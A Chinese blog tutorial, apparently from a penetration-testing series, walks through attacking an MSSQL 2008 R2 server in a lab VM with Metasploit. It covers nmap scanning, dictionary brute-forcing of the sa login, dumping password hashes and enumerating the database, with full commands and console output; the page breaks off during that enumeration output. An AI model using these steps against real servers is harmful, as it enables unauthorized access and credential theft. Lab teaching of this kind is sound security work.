冰河技术
导读
♻学习路线
  • 面试必问系列

    • 面试必问
  • 架构与模式

    • Java极简设计模式
    • 实战高并发设计模式
  • Java核心技术

    • Java8新特性
    • IOC核心技术
    • JVM调优技术
  • 容器化核心技术

    • Dockek核心技术
  • 分布式存储

    • Mycat核心技术
  • 数据库核心技术

    • MySQL基础篇
  • 服务器核心技术

    • Nginx核心技术
  • 渗透核心技术

    • 渗透实战技术
  • 底层技术
  • 源码分析
  • 基础案例
  • 实战案例
  • 面试
  • 系统架构
  • Spring6核心技术
  • 分布式事务

    • 分布式事务系列视频
  • SpringBoot
  • SpringCloudAlibaba
  • 🔥AI大模型项目

    • 一站式AI智能平台
    • AI智能客服系统
    • AI智能问答系统
    • 实战AI大模型
  • 中间件项目

    • 手写高性能Redis组件
    • 手写高性能脱敏组件
    • 手写线程池项目
    • 手写高性能SQL引擎
    • 手写高性能Polaris网关
    • 手写高性能RPC项目
  • 高并发项目

    • 分布式IM即时通讯系统(新)
    • 分布式Seckill秒杀系统
    • 实战高并发设计模式
  • 微服务项目

    • 简易电商脚手架项目
  • 手撕源码

    • 手撕Spring6源码
🌍知识星球
  • 总览

    • 《书籍汇总》
  • 出版图书

    • 《深入理解高并发编程:核心原理与案例实战》
    • 《深入理解高并发编程:JDK核心技术》
    • 《深入高平行開發:深度原理&專案實戰》
    • 《深入理解分布式事务:原理与实战》
    • 《MySQL技术大全:开发、优化与运维实战》
    • 《海量数据处理与大数据技术实战》
  • 电子书籍

    • 《实战高并发设计模式》
    • 《深入理解高并发编程(第2版)》
    • 《深入理解高并发编程(第1版)》
    • 《从零开始手写RPC框架(基础篇)》
    • 《SpringCloud Alibaba实战》
    • 《冰河的渗透实战笔记》
    • 《MySQL核心知识手册》
    • 《Spring IOC核心技术》
  • 关于自己
  • 关于学习
  • 关于职场
B站
Github
导读
♻学习路线
  • 面试必问系列

    • 面试必问
  • 架构与模式

    • Java极简设计模式
    • 实战高并发设计模式
  • Java核心技术

    • Java8新特性
    • IOC核心技术
    • JVM调优技术
  • 容器化核心技术

    • Dockek核心技术
  • 分布式存储

    • Mycat核心技术
  • 数据库核心技术

    • MySQL基础篇
  • 服务器核心技术

    • Nginx核心技术
  • 渗透核心技术

    • 渗透实战技术
  • 底层技术
  • 源码分析
  • 基础案例
  • 实战案例
  • 面试
  • 系统架构
  • Spring6核心技术
  • 分布式事务

    • 分布式事务系列视频
  • SpringBoot
  • SpringCloudAlibaba
  • 🔥AI大模型项目

    • 一站式AI智能平台
    • AI智能客服系统
    • AI智能问答系统
    • 实战AI大模型
  • 中间件项目

    • 手写高性能Redis组件
    • 手写高性能脱敏组件
    • 手写线程池项目
    • 手写高性能SQL引擎
    • 手写高性能Polaris网关
    • 手写高性能RPC项目
  • 高并发项目

    • 分布式IM即时通讯系统(新)
    • 分布式Seckill秒杀系统
    • 实战高并发设计模式
  • 微服务项目

    • 简易电商脚手架项目
  • 手撕源码

    • 手撕Spring6源码
🌍知识星球
  • 总览

    • 《书籍汇总》
  • 出版图书

    • 《深入理解高并发编程:核心原理与案例实战》
    • 《深入理解高并发编程:JDK核心技术》
    • 《深入高平行開發:深度原理&專案實戰》
    • 《深入理解分布式事务:原理与实战》
    • 《MySQL技术大全:开发、优化与运维实战》
    • 《海量数据处理与大数据技术实战》
  • 电子书籍

    • 《实战高并发设计模式》
    • 《深入理解高并发编程(第2版)》
    • 《深入理解高并发编程(第1版)》
    • 《从零开始手写RPC框架(基础篇)》
    • 《SpringCloud Alibaba实战》
    • 《冰河的渗透实战笔记》
    • 《MySQL核心知识手册》
    • 《Spring IOC核心技术》
  • 关于自己
  • 关于学习
  • 关于职场
B站
Github
  • 第01部分:基础环境篇

    • 安装Kali系统
    • Kali配置
    • Kali中各项菜单的功能
    • 安装open-vm-tools实现虚拟机交互
    • Kali设置静态IP
    • kali安装免杀工具Veil-Evasion
    • 在Debian8上安装WPScan
    • metasploitable2修改密码
    • 操作系统支持的管道符
  • 第02部分:渗透工具篇

    • 使用Easy-Creds工具攻击无线网络
    • Nmap+Zenmap+Amap+Zmap
    • Zenmap
    • Amap
    • Zmap
    • Nessus的整理
    • Burpsuite上传截断及截断原理介绍
    • Kali2.0 Meterpreter 运用
    • lcx.exe内网转发命令教程-LCX免杀下载
    • 字典生成工具Crunch的使用案例
    • WinlogonHack获取系统密码
    • Msfvenom生成各类Payload命令
    • PsExec下载地址及其用法
    • Hydra安装Libssh模块
    • 利用procdump+Mimikatz 绕过杀软获取Windows明文密码
    • SQLMap的用法+谷歌黑客语法
    • SQLMap用法总结
    • SQLMap参数说明
    • 十大渗透测试演练系统
    • 目录扫描神器DirBuster用法
    • NMap在实战中的常见用法
    • Metasploit模块的格式说明
    • Meterpreter命令大全
    • Metasploit-Meterpreter-Shell信息收集相关的命令
    • 使用Metasploit编写绕过DEP渗透模块
    • Metasploit渗透php-utility-belt程序
    • 内网IPC$入侵
    • Metasploit渗透BSPlayer V2.68
    • Metasploit攻击VSFTPD2.3.4后门漏洞并渗透内网
    • Metasploit攻击PHP-CGI查询字符串参数漏洞并渗透内网
    • Metasploit攻击HFS2.3上的漏洞
    • Metasploit访问控制的持久化
    • Metasploit清除渗透痕迹
    • 利用Metasploit找出SCADA服务器
    • 利用Metasploit渗透DATAC-RealWin-SCADA Server2.0
    • MSF-Meterpreter清理日志
    • Metasploit自定义FTP扫描模块
    • Metasploit渗透MSSQL
    • Metasploit渗透VOIP
    • 破解工具hydra安装与使用
    • Metasploit自定义SSH认证暴力破解器
    • Metasploit自定义让磁盘失效的后渗透模块
    • PowerShell基本命令和绕过权限执行
    • Metasploit自定义收集登录凭证的后渗透模块
    • 利用Java生成穷举字典(数字+字母(大小写)+字符)
    • PowerShell工具之Powerup详解实录
    • Meterpreter以被控制的计算机为跳板渗透其他服务器
    • Win10完美去除桌面快捷图标小箭头
    • OpenVAS 8.0 Vulnerability Scanning
    • kali Metasploit 连接 Postgresql 默认密码
    • kali 使用OpenVAS进行漏洞扫描
    • kali 对威胁建模(附加搭建CVE:2014-6287漏洞环境)
    • kali Metasploit设置永久访问权限
    • Empire 反弹回 Metasploit
    • Metasploit制作并运行自定义Meterpreper脚本
    • 使用Metasploit实现对缓冲区栈的溢出攻击
    • 使用Metasploit实现基于SEH的缓冲区溢出攻击
    • Metasploit基本后渗透命令
    • Metasploit高级后渗透模块
    • Kali中一键更新Metasploit框架
    • Metasploit其他后渗透模块
    • Metasploit高级扩展功能
    • Metasploit之pushm和popm命令
    • Metasploit使用reload、edit、reload_all命令加快开发过程
    • Metasploit资源脚本的使用方法
    • 在Metasploit中使用AutoRunScript
    • 使用Metasploit获取目标的控制权限
    • 使用Metasploit中的NMap插件扫描并渗透内网主机
    • Kali一句话升级Metasploit的命令
    • Win2012R2打Windows8.1-KB2919355
    • Armitage基本原理
    • Armitage网络扫描以及主机管理
    • 使用Armitage进行渗透
    • 使用Armitage进行后渗透攻击
    • 使用Armitage进行客户端攻击
    • Armitage脚本编写
    • Armitage控制Metasploit
    • Armitage使用Cortana实现后渗透攻击
    • Armitage使用Cortana创建自定义菜单
    • Armitage界面的使用
    • tcpdump用法说明
  • 第03部分:木马篇

    • 各种一句话木马大全
    • asp图片木马的制作和使用
  • 第04部分:SQL注入篇

    • sqli-labs-master 下载与安装
    • SQL注入点检测方法
    • SQL语句生成一句话
    • ASP连接MSSQL数据库语句
    • SQL注入绕过技术总结
    • SQL Server启动/关闭xp_cmdshell
  • 第05部分:漏洞拿Shell篇

    • 各种解析漏洞拿shell
    • 网站入侵思路
    • IIS 6.0/7.0/7.5、Nginx、Apache 等 Web Service 解析漏洞
    • iis7.5加fck解析漏洞后台拿shell
    • 真正的IIS永远的后门解密
  • 第06部分:暴力破解篇

    • 使用rarcrack暴力破解RAR,ZIP,7Z压缩包
    • 使用reaver傻瓜式破解wifi之利用路由器WPS漏洞
    • Python爆破Wifi密码
    • MySQL暴力破解工具多线程版
  • 第07部分:渗透脚本篇

    • 3389脚本开启代码(vbs版)
    • 触发Easy File Sharing Web Server 7.2 HEAD缓冲区溢出的Python脚本
  • 第08部分:数据与系统提权篇

    • 数据库提权
    • NC反弹CMDSHELL提权总结
    • ASP Web提权
    • MSF提权
    • Metasploit Win10提权
  • 第09部分:客户端渗透篇

    • 浏览器渗透
    • 对网站的客户进行渗透
    • 与DNS欺骗的结合使用
    • 基于PDF文件格式的渗透攻击
    • 基于Word文件格式的渗透攻击
    • 使用Metasploit实现对Linux客户端的渗透
    • 使用Metasploit渗透Android系统
  • 第10部分:社会工程学

    • Metasploit之社会工程学工具包
  • 第11部分:log4j重大漏洞

    • 冰河连夜复现了Log4j最新史诗级重大漏洞,含完整案例代码,全网最全!!
  • 第12部分:问题记录篇

    • HTTP 错误 403.1 - 禁止访问:执行访问被拒绝
    • XP IIS 问题总结
    • IIS 403 404问题
    • DEDE5.7初始化数据体验包获取失败/无法下载安装
    • discuz报错Table 'uc.uc_pms' doesn't exist,uc_pms不存在
    • Windows远程登录提示超出允许最大连接数解决方案
    • Windows 2008自动关机最简单的解决方案
    • Hydra安装报错
    • 安装OpenVAS后找不到默认密码无法登录Web端
    • AppScan使用问题记录
    • Kali系统报错
    • Kali运行WPScan报错

Metasploit渗透MSSQL

攻击机 kali 192.168.109.137

靶机 Win7_x64 192.168.109.139

数据库 MSSQL 2008 R2

MSSQL运行在TCP的1433端口以及UDP的1434端口

使用NMAP对MSSQL进行踩点

这里,我们使用Metasploit自带的db_nmap插件

首先我们对目标的1433端口进行扫描

db_nmap -sV -p 1433 192.168.109.139

具体操作情况如下:

msf > db_nmap -sV -p 1433 192.168.109.139
[*] Nmap: Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-18 09:56 CST
[*] Nmap: Nmap scan report for 192.168.109.139
[*] Nmap: Host is up (0.00035s latency).
[*] Nmap: PORT     STATE SERVICE  VERSION
[*] Nmap: 1433/tcp open  ms-sql-s Microsoft SQL Server 2008 R2 10.50.4000; SP2
[*] Nmap: MAC Address: 00:0C:29:4A:EB:E0 (VMware)
[*] Nmap: Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
[*] Nmap: Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 6.54 seconds

可以看到输出了MSSQL的一些信息。

扫描1434端口

db_nmap -sU -sV -p 1434 192.168.109.139

具体操作情况如下:

msf > db_nmap -sU -sV -p 1434 192.168.109.139
[*] Nmap: Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-18 09:57 CST
[*] Nmap: Nmap scan report for 192.168.109.139
[*] Nmap: Host is up (0.00032s latency).
[*] Nmap: PORT     STATE SERVICE  VERSION
[*] Nmap: 1434/udp open  ms-sql-m Microsoft SQL Server 10.50.4000.0 (ServerName: LIUYAZHUANG-PC; TCPPort: 1433)
[*] Nmap: MAC Address: 00:0C:29:4A:EB:E0 (VMware)
[*] Nmap: Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
[*] Nmap: Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 0.72 seconds

使用内置的NMap脚本获得一些关于目标数据库的附加信息

db_nmap -sU --script=ms-sql-info -p 1434 192.168.109.139

具体操作情况如下:

msf > db_nmap -sU --script=ms-sql-info -p 1434 192.168.109.139
[*] Nmap: Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-18 09:59 CST
[*] Nmap: Nmap scan report for 192.168.109.139
[*] Nmap: Host is up (0.00044s latency).
[*] Nmap: PORT     STATE         SERVICE
[*] Nmap: 1434/udp open|filtered ms-sql-m
[*] Nmap: MAC Address: 00:0C:29:4A:EB:E0 (VMware)
[*] Nmap: Host script results:
[*] Nmap: | ms-sql-info:
[*] Nmap: |   Windows server name: LIUYAZHUANG-PC
[*] Nmap: |   192.168.109.139\MSSQLSERVER:
[*] Nmap: |     Instance name: MSSQLSERVER
[*] Nmap: |     Version:
[*] Nmap: |       name: Microsoft SQL Server 2008 R2 SP2
[*] Nmap: |       number: 10.50.4000.00
[*] Nmap: |       Product: Microsoft SQL Server 2008 R2
[*] Nmap: |       Service pack level: SP2
[*] Nmap: |       Post-SP patches applied: false
[*] Nmap: |     TCP port: 1433
[*] Nmap: |     Named pipe: \\192.168.109.139\pipe\sql\query
[*] Nmap: |_    Clustered: false
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 0.62 seconds

使用Metasploit的模块进行扫描

这里,我们用到可Metasploit的mssql_ping

use auxiliary/scanner/mssql/mssql_ping
show options
set RHOSTS 192.168.109.139
run

具体操作情况如下:

msf > use auxiliary/scanner/mssql/mssql_ping
msf auxiliary(scanner/mssql/mssql_ping) > show options

Module options (auxiliary/scanner/mssql/mssql_ping):

   Name                 Current Setting  Required  Description
   ----                 ---------------  --------  -----------
   PASSWORD                              no        The password for the specified username
   RHOSTS                                yes       The target address range or CIDR identifier
   TDSENCRYPTION        false            yes       Use TLS/SSL for TDS data "Force Encryption"
   THREADS              1                yes       The number of concurrent threads
   USERNAME             sa               no        The username to authenticate as
   USE_WINDOWS_AUTHENT  false            yes       Use windows authentification (requires DOMAIN option set)

msf auxiliary(scanner/mssql/mssql_ping) > set RHOSTS 192.168.109.139
RHOSTS => 192.168.109.139
msf auxiliary(scanner/mssql/mssql_ping) > 
msf auxiliary(scanner/mssql/mssql_ping) > 
msf auxiliary(scanner/mssql/mssql_ping) > run

[*] 192.168.109.139:      - SQL Server information for 192.168.109.139:
[+] 192.168.109.139:      -    ServerName      = LIUYAZHUANG-PC
[+] 192.168.109.139:      -    InstanceName    = MSSQLSERVER
[+] 192.168.109.139:      -    IsClustered     = No
[+] 192.168.109.139:      -    Version         = 10.50.4000.0
[+] 192.168.109.139:      -    tcp             = 1433
[+] 192.168.109.139:      -    np              = \\LIUYAZHUANG-PC\pipe\sql\query
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/mssql/mssql_ping) >

爆破MSSQL密码

这里,用到的是Metasploit的mssql_login模块。

MSSQL的默认用户名为sa,默认密码为空,所以我们先测试下用户名为sa,密码为空的情况:

use auxiliary/scanner/mssql/mssql_login
show options
set RHOSTS 192.168.109.139
run

具体操作情况如下:

msf auxiliary(scanner/mssql/mssql_ping) > use auxiliary/scanner/mssql/mssql_login
msf auxiliary(scanner/mssql/mssql_login) > show options

Module options (auxiliary/scanner/mssql/mssql_login):

   Name                 Current Setting  Required  Description
   ----                 ---------------  --------  -----------
   BLANK_PASSWORDS      false            no        Try blank passwords for all users
   BRUTEFORCE_SPEED     5                yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS         false            no        Try each user/password couple stored in the current database
   DB_ALL_PASS          false            no        Add all passwords in the current database to the list
   DB_ALL_USERS         false            no        Add all users in the current database to the list
   PASSWORD                              no        A specific password to authenticate with
   PASS_FILE                             no        File containing passwords, one per line
   RHOSTS                                yes       The target address range or CIDR identifier
   RPORT                1433             yes       The target port (TCP)
   STOP_ON_SUCCESS      false            yes       Stop guessing when a credential works for a host
   TDSENCRYPTION        false            yes       Use TLS/SSL for TDS data "Force Encryption"
   THREADS              1                yes       The number of concurrent threads
   USERNAME                              no        A specific username to authenticate as
   USERPASS_FILE                         no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS         false            no        Try the username as the password for all users
   USER_FILE                             no        File containing usernames, one per line
   USE_WINDOWS_AUTHENT  false            yes       Use windows authentification (requires DOMAIN option set)
   VERBOSE              true             yes       Whether to print output for all attempts

msf auxiliary(scanner/mssql/mssql_login) > set RHOSTS 192.168.109.139
RHOSTS => 192.168.109.139
msf auxiliary(scanner/mssql/mssql_login) > run

[*] 192.168.109.139:1433  - 192.168.109.139:1433 - MSSQL - Starting authentication scanner.
[*] Error: 192.168.109.139: Metasploit::Framework::LoginScanner::Invalid Cred details can't be blank, Cred details can't be blank (Metasploit::Framework::LoginScanner::MSSQL)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/mssql/mssql_login) > 

可以看到登录失败,所以目标数据库的账户和密码不是默认的。

这里,我们继续构造目标数据库的用户名字典和密码字典,分别为:/root/user.txt 和 /root/pass.txt

接下来,我们使用用户名字典和密码字典爆破目标数据库

use auxiliary/scanner/mssql/mssql_login
show options
set RHOSTS 192.168.109.139
set USER_FILE /root/user.txt
set PASS_FILE /root/pass.txt
run

具体操作情况如下:

msf > use auxiliary/scanner/mssql/mssql_login
msf auxiliary(scanner/mssql/mssql_login) > show options

Module options (auxiliary/scanner/mssql/mssql_login):

   Name                 Current Setting  Required  Description
   ----                 ---------------  --------  -----------
   BLANK_PASSWORDS      false            no        Try blank passwords for all users
   BRUTEFORCE_SPEED     5                yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS         false            no        Try each user/password couple stored in the current database
   DB_ALL_PASS          false            no        Add all passwords in the current database to the list
   DB_ALL_USERS         false            no        Add all users in the current database to the list
   PASSWORD                              no        A specific password to authenticate with
   PASS_FILE                             no        File containing passwords, one per line
   RHOSTS               192.168.109.139  yes       The target address range or CIDR identifier
   RPORT                1433             yes       The target port (TCP)
   STOP_ON_SUCCESS      false            yes       Stop guessing when a credential works for a host
   TDSENCRYPTION        false            yes       Use TLS/SSL for TDS data "Force Encryption"
   THREADS              1                yes       The number of concurrent threads
   USERNAME                              no        A specific username to authenticate as
   USERPASS_FILE                         no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS         false            no        Try the username as the password for all users
   USER_FILE                             no        File containing usernames, one per line
   USE_WINDOWS_AUTHENT  false            yes       Use windows authentification (requires DOMAIN option set)
   VERBOSE              true             yes       Whether to print output for all attempts

msf auxiliary(scanner/mssql/mssql_login) > set USER_FILE /root/user.txt
USER_FILE => /root/user.txt
msf auxiliary(scanner/mssql/mssql_login) > set PASS_FILE /root/pass.txt
PASS_FILE => /root/pass.txt
msf auxiliary(scanner/mssql/mssql_login) > run

[*] 192.168.109.139:1433  - 192.168.109.139:1433 - MSSQL - Starting authentication scanner.
[-] 192.168.109.139:1433  - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\xiaoming:liuyazhuang (Incorrect: )
[-] 192.168.109.139:1433  - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\xiaoming:liu (Incorrect: )
[-] 192.168.109.139:1433  - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\xiaoming:123456 (Incorrect: )
[-] 192.168.109.139:1433  - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\xiaoming:3874378 (Incorrect: )
[-] 192.168.109.139:1433  - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\xiaoming:Cdmn@339 (Incorrect: )
[-] 192.168.109.139:1433  - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\xiaoming:@@@@@ (Incorrect: )
[-] 192.168.109.139:1433  - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\xiaoming:1111 (Incorrect: )
[-] 192.168.109.139:1433  - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\xiaoming:236726 (Incorrect: )
[-] 192.168.109.139:1433  - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\xiaoming:23473748 (Incorrect: )
[-] 192.168.109.139:1433  - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\xiaoming:223u4343 (Incorrect: )
[-] 192.168.109.139:1433  - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\liuyazhuang:liuyazhuang (Incorrect: )
[-] 192.168.109.139:1433  - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\liuyazhuang:liu (Incorrect: )
[-] 192.168.109.139:1433  - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\liuyazhuang:123456 (Incorrect: )
[-] 192.168.109.139:1433  - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\liuyazhuang:3874378 (Incorrect: )
[-] 192.168.109.139:1433  - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\liuyazhuang:Cdmn@339 (Incorrect: )
[-] 192.168.109.139:1433  - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\liuyazhuang:@@@@@ (Incorrect: )
[-] 192.168.109.139:1433  - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\liuyazhuang:1111 (Incorrect: )
[-] 192.168.109.139:1433  - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\liuyazhuang:236726 (Incorrect: )
[-] 192.168.109.139:1433  - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\liuyazhuang:23473748 (Incorrect: )
[-] 192.168.109.139:1433  - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\liuyazhuang:223u4343 (Incorrect: )
[-] 192.168.109.139:1433  - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\jack:liuyazhuang (Incorrect: )
[-] 192.168.109.139:1433  - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\jack:liu (Incorrect: )
[-] 192.168.109.139:1433  - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\jack:123456 (Incorrect: )
[-] 192.168.109.139:1433  - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\jack:3874378 (Incorrect: )
[-] 192.168.109.139:1433  - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\jack:Cdmn@339 (Incorrect: )
[-] 192.168.109.139:1433  - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\jack:@@@@@ (Incorrect: )
[-] 192.168.109.139:1433  - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\jack:1111 (Incorrect: )
[-] 192.168.109.139:1433  - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\jack:236726 (Incorrect: )
[-] 192.168.109.139:1433  - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\jack:23473748 (Incorrect: )
[-] 192.168.109.139:1433  - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\jack:223u4343 (Incorrect: )
[-] 192.168.109.139:1433  - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\lyz:liuyazhuang (Incorrect: )
[-] 192.168.109.139:1433  - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\lyz:liu (Incorrect: )
[-] 192.168.109.139:1433  - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\lyz:123456 (Incorrect: )
[-] 192.168.109.139:1433  - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\lyz:3874378 (Incorrect: )
[-] 192.168.109.139:1433  - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\lyz:Cdmn@339 (Incorrect: )
[-] 192.168.109.139:1433  - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\lyz:@@@@@ (Incorrect: )
[-] 192.168.109.139:1433  - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\lyz:1111 (Incorrect: )
[-] 192.168.109.139:1433  - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\lyz:236726 (Incorrect: )
[-] 192.168.109.139:1433  - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\lyz:23473748 (Incorrect: )
[-] 192.168.109.139:1433  - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\lyz:223u4343 (Incorrect: )
[-] 192.168.109.139:1433  - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\administrator:liuyazhuang (Incorrect: )
[-] 192.168.109.139:1433  - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\administrator:liu (Incorrect: )
[-] 192.168.109.139:1433  - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\administrator:123456 (Incorrect: )
[-] 192.168.109.139:1433  - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\administrator:3874378 (Incorrect: )
[-] 192.168.109.139:1433  - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\administrator:Cdmn@339 (Incorrect: )
[-] 192.168.109.139:1433  - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\administrator:@@@@@ (Incorrect: )
[-] 192.168.109.139:1433  - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\administrator:1111 (Incorrect: )
[-] 192.168.109.139:1433  - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\administrator:236726 (Incorrect: )
[-] 192.168.109.139:1433  - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\administrator:23473748 (Incorrect: )
[-] 192.168.109.139:1433  - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\administrator:223u4343 (Incorrect: )
[-] 192.168.109.139:1433  - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\sa:liuyazhuang (Incorrect: )
[-] 192.168.109.139:1433  - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\sa:liu (Incorrect: )
[+] 192.168.109.139:1433  - 192.168.109.139:1433 - Login Successful: WORKSTATION\sa:123456
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/mssql/mssql_login) > 

可以看到目标数据库的用户名为sa,密码为123456

查找/捕获服务器的口令

这里,用到的是Metasploit的mssql_hashdump模块。

use auxiliary/scanner/mssql/mssql_hashdump
show options
set RHOSTS 192.168.109.139
set PASSWORD 123456
run

具体操作情况如下:

msf auxiliary(scanner/mssql/mssql_login) > use auxiliary/scanner/mssql/mssql_hashdump 
msf auxiliary(scanner/mssql/mssql_hashdump) > show options

Module options (auxiliary/scanner/mssql/mssql_hashdump):

   Name                 Current Setting  Required  Description
   ----                 ---------------  --------  -----------
   PASSWORD                              no        The password for the specified username
   RHOSTS                                yes       The target address range or CIDR identifier
   RPORT                1433             yes       The target port (TCP)
   TDSENCRYPTION        false            yes       Use TLS/SSL for TDS data "Force Encryption"
   THREADS              1                yes       The number of concurrent threads
   USERNAME             sa               no        The username to authenticate as
   USE_WINDOWS_AUTHENT  false            yes       Use windows authentification (requires DOMAIN option set)

msf auxiliary(scanner/mssql/mssql_hashdump) > set RHOSTS 192.168.109.139
RHOSTS => 192.168.109.139
msf auxiliary(scanner/mssql/mssql_hashdump) > set PASSWORD 123456
PASSWORD => 123456
msf auxiliary(scanner/mssql/mssql_hashdump) > run

[*] 192.168.109.139:1433  - Instance Name: nil
[+] 192.168.109.139:1433  - Saving mssql05 = sa:0100803a5accdbbe36fd02ade28e2e4ed463f311238ab3410a92
[+] 192.168.109.139:1433  - Saving mssql05 = ##MS_PolicyTsqlExecutionLogin##:0100ab666dffdfa0f0ce5d9dc217abc8b87bface1efda74dba9c
[+] 192.168.109.139:1433  - Saving mssql05 = ##MS_PolicyEventProcessingLogin##:0100ad950534143cd9e69553cd7715b5d0b68c54032124ee8992
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/mssql/mssql_hashdump) > 

接下来,我们就可以使用其他工具爆破这些密码了。

浏览MSSQL

这里用到的是Metasploit的mssql_enum模块。

use auxiliary/admin/mssql/mssql_enum
show options
set RHOST 192.168.109.139
set PASSWORD 123456
run

具体操作情况如下:

msf > use auxiliary/admin/mssql/mssql_enum
msf auxiliary(admin/mssql/mssql_enum) > show options

Module options (auxiliary/admin/mssql/mssql_enum):

   Name                 Current Setting  Required  Description
   ----                 ---------------  --------  -----------
   PASSWORD                              no        The password for the specified username
   RHOST                                 yes       The target address
   RPORT                1433             yes       The target port (TCP)
   TDSENCRYPTION        false            yes       Use TLS/SSL for TDS data "Force Encryption"
   USERNAME             sa               no        The username to authenticate as
   USE_WINDOWS_AUTHENT  false            yes       Use windows authentification (requires DOMAIN option set)

msf auxiliary(admin/mssql/mssql_enum) > set RHOST 192.168.109.139
RHOST => 192.168.109.139
msf auxiliary(admin/mssql/mssql_enum) > set PASSWORD 123456
PASSWORD => 123456
msf auxiliary(admin/mssql/mssql_enum) > run

[*] 192.168.109.139:1433 - Running MS SQL Server Enumeration...
[*] 192.168.109.139:1433 - Version:
[*] Microsoft SQL Server 2008 R2 (SP2) - 10.50.4000.0 (X64) 
[*]     Jun 28 2012 08:36:30 
[*]     Copyright (c) Microsoft Corporation
[*]     Express Edition (64-bit) on Windows NT 6.1 <X64> (Build 7601: Service Pack 1) (Hypervisor)
[*] 192.168.109.139:1433 - Configuration Parameters:
[*] 192.168.109.139:1433 -  C2 Audit Mode is Not Enabled
[*] 192.168.109.139:1433 -  xp_cmdshell is Enabled
[*] 192.168.109.139:1433 -  remote access is Enabled
[*] 192.168.109.139:1433 -  allow updates is Not Enabled
[*] 192.168.109.139:1433 -  Database Mail XPs is Not Enabled
[*] 192.168.109.139:1433 -  Ole Automation Procedures are Not Enabled
[*] 192.168.109.139:1433 - Databases on the server:
[*] 192.168.109.139:1433 -  Database name:master
[*] 192.168.109.139:1433 -  Database Files for master:
[*] 192.168.109.139:1433 -      d:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\DATA\master.mdf
[*] 192.168.109.139:1433 -      d:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\DATA\mastlog.ldf
[*] 192.168.109.139:1433 -  Database name:tempdb
[*] 192.168.109.139:1433 -  Database Files for tempdb:
[*] 192.168.109.139:1433 -      d:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\DATA\tempdb.mdf
[*] 192.168.109.139:1433 -      d:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\DATA\templog.ldf
[*] 192.168.109.139:1433 -  Database name:model
[*] 192.168.109.139:1433 -  Database Files for model:
[*] 192.168.109.139:1433 -      d:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\DATA\model.mdf
